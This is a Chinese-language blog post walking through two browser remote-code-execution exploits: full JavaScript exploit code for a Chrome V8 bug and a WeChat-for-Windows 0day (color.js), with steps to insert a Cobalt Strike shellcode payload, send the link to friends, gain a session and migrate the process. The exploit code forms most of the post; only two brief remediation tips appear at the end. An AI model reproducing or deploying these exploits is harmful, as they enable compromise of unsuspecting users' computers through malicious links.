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题记

         玩一下Chrome的漏洞，这几天没哈精神，老是犯困，而且博客园word交互系统又出问题了，我的文章都传不上来。

chrome上线cs

1、使用以下脚本，保存为chrome.html格式

<script>

     function gc() {

       for (var i = 0; i < 0x80000; ++i) {

           var a = new ArrayBuffer();

      }

  }

   let shellcode = [];

   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);

   var wasmModule = new WebAssembly.Module(wasmCode);

   var wasmInstance = new WebAssembly.Instance(wasmModule);

   var main = wasmInstance.exports.main;

   var bf = new ArrayBuffer(8);

   var bfView = new DataView(bf);

   function fLow(f) {

       bfView.setFloat64(0, f, true);

       return (bfView.getUint32(0, true));

  }

   function fHi(f) {

       bfView.setFloat64(0, f, true);

       return (bfView.getUint32(4, true))

  }

   function i2f(low, hi) {

       bfView.setUint32(0, low, true);

       bfView.setUint32(4, hi, true);

       return bfView.getFloat64(0, true);

  }

   function f2big(f) {

       bfView.setFloat64(0, f, true);

       return bfView.getBigUint64(0, true);

  }

   function big2f(b) {

       bfView.setBigUint64(0, b, true);

       return bfView.getFloat64(0, true);

  }

   class LeakArrayBuffer extends ArrayBuffer {

       constructor(size) {

           super(size);

           this.slot = 0xb33f;

      }

  }

   function foo(a) {

       let x = -1;

       if (a) x = 0xFFFFFFFF;

       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));

       arr.shift();

       let local_arr = Array(2);

       local_arr[0] = 5.1;//4014666666666666

       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8

       arr[0] = 0x1122;

       return [arr, local_arr, buff];

  }

   for (var i = 0; i < 0x10000; ++i)

       foo(false);

   gc(); gc();

  [corrput_arr, rwarr, corrupt_buff] = foo(true);

   corrput_arr[12] = 0x22444;

   delete corrput_arr;

   function setbackingStore(hi, low) {

       rwarr[4] = i2f(fLow(rwarr[4]), hi);

       rwarr[5] = i2f(low, fHi(rwarr[5]));

  }

   function leakObjLow(o) {

       corrupt_buff.slot = o;

       return (fLow(rwarr[9]) - 1);

  }

   let corrupt_view = new DataView(corrupt_buff);

   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);

   let idx0Addr = corrupt_buffer_ptr_low - 0x10;

   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;

   let delta = baseAddr + 0x1c - idx0Addr;

   if ((delta % 8) == 0) {

       let baseIdx = delta / 8;

       this.base = fLow(rwarr[baseIdx]);

  } else {

       let baseIdx = ((delta - (delta % 8)) / 8);

       this.base = fHi(rwarr[baseIdx]);

  }

   let wasmInsAddr = leakObjLow(wasmInstance);

   setbackingStore(wasmInsAddr, this.base);

   let code_entry = corrupt_view.getFloat64(13 * 8, true);

   setbackingStore(fLow(code_entry), fHi(code_entry));

   for (let i = 0; i < shellcode.length; i++) {

       corrupt_view.setUint8(i, shellcode[i]);

  }

   main();

</script>

2、生成payload并进行字符替换。

3、在html文件里shellcode处粘贴处理好的代码

4、切换Chrome模式

5、上线CS

wx 0day上线

1、color.js代码

ENABLE_LOG = true;

IN_WORKER = true;

 

 

// run calc and hang in a loop

var shellcode = [];

 

 

function print(data) {

}

 

 

 

 

var not_optimised_out = 0;

var target_function = (function (value) {

    if (value == 0xdecaf0) {

        not_optimised_out += 1;

    }

    not_optimised_out += 1;

    not_optimised_out |= 0xff;

    not_optimised_out *= 12;

});

 

 

for (var i = 0; i < 0x10000; ++i) {

    target_function(i);

}

 

 

 

 

var g_array;

var tDerivedNCount = 17 * 87481 - 8;

var tDerivedNDepth = 19 * 19;

 

 

function cb(flag) {

    if (flag == true) {

        return;

    }

    g_array = new Array(0);

    g_array[0] = 0x1dbabe * 2;

    return 'c01db33f';

}

 

 

function gc() {

    for (var i = 0; i < 0x10000; ++i) {

        new String();

    }

}

 

 

function oobAccess() {

    var this_ = this;

    this.buffer = null;

    this.buffer_view = null;

 

 

    this.page_buffer = null;

    this.page_view = null;

 

 

    this.prevent_opt = [];

 

 

    var kSlotOffset = 0x1f;

    var kBackingStoreOffset = 0xf;

 

 

    class LeakArrayBuffer extends ArrayBuffer {

        constructor() {

            super(0x1000);

            this.slot = this;

        }

    }

 

 

    this.page_buffer = new LeakArrayBuffer();

    this.page_view = new DataView(this.page_buffer);

 

 

    new RegExp({ toString: function () { return 'a' } });

    cb(true);

 

 

    class DerivedBase extends RegExp {

        constructor() {

            // var array = null;

            super(

                // at this point, the 4-byte allocation for the JSRegExp `this` object

                // has just happened.

                {

                    toString: cb

                }, 'g'

                // now the runtime JSRegExp constructor is called, corrupting the

                // JSArray.

            );

 

 

            // this allocation will now directly follow the FixedArray allocation

            // made for `this.data`, which is where `array.elements` points to.

            this_.buffer = new ArrayBuffer(0x80);

            g_array[8] = this_.page_buffer;

        }

    }

 

 

    // try{

    var derived_n = eval(`(function derived_n(i) {

        if (i == 0) {

            return DerivedBase;

        }

 

 

        class DerivedN extends derived_n(i-1) {

            constructor() {

                super();

                return;

                ${"this.a=0;".repeat(tDerivedNCount)}

            }

        }

 

 

        return DerivedN;

    })`);

 

 

    gc();

 

 

 

 

    new (derived_n(tDerivedNDepth))();

 

 

    this.buffer_view = new DataView(this.buffer);

    this.leakPtr = function (obj) {

        this.page_buffer.slot = obj;

        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);

    }

 

 

    this.setPtr = function (addr) {

        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);

    }

 

 

    this.read32 = function (addr) {

        this.setPtr(addr);

        return this.page_view.getUint32(0, true, ...this.prevent_opt);

    }

 

 

    this.write32 = function (addr, value) {

        this.setPtr(addr);

        this.page_view.setUint32(0, value, true, ...this.prevent_opt);

    }

 

 

    this.write8 = function (addr, value) {

        this.setPtr(addr);

        this.page_view.setUint8(0, value, ...this.prevent_opt);

    }

 

 

    this.setBytes = function (addr, content) {

        for (var i = 0; i < content.length; i++) {

            this.write8(addr + i, content[i]);

        }

    }

    return this;

}

 

 

function trigger() {

    var oob = oobAccess();

 

 

    var func_ptr = oob.leakPtr(target_function);

    print('[*] target_function at 0x' + func_ptr.toString(16));

 

 

    var kCodeInsOffset = 0x1b;

 

 

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);

    print('[*] code_addr at 0x' + code_addr.toString(16));

 

 

    oob.setBytes(code_addr, shellcode);

 

 

    target_function(0);

}

 

 

try{

    print("start running");

    trigger();

}catch(e){

    print(e);

}

2、test.html代码

<script src="http://127.0.0.1/color.js"></script>

3、生成payload

4、替换到shellcode处

5、发给好友

6、上线

7、修复建议：

      ①、将Windows版本微信更新到3.2.1.141以上的最新版本。

       ②、建议不要乱点别人发送的链接。

这里发现只有在页面打开的时候才能执行命令，当然可以上线后马上迁移下进程。

参考文章

         https://mp.weixin.qq.com/s/V9rujv89_P0FGhBCfw21mw

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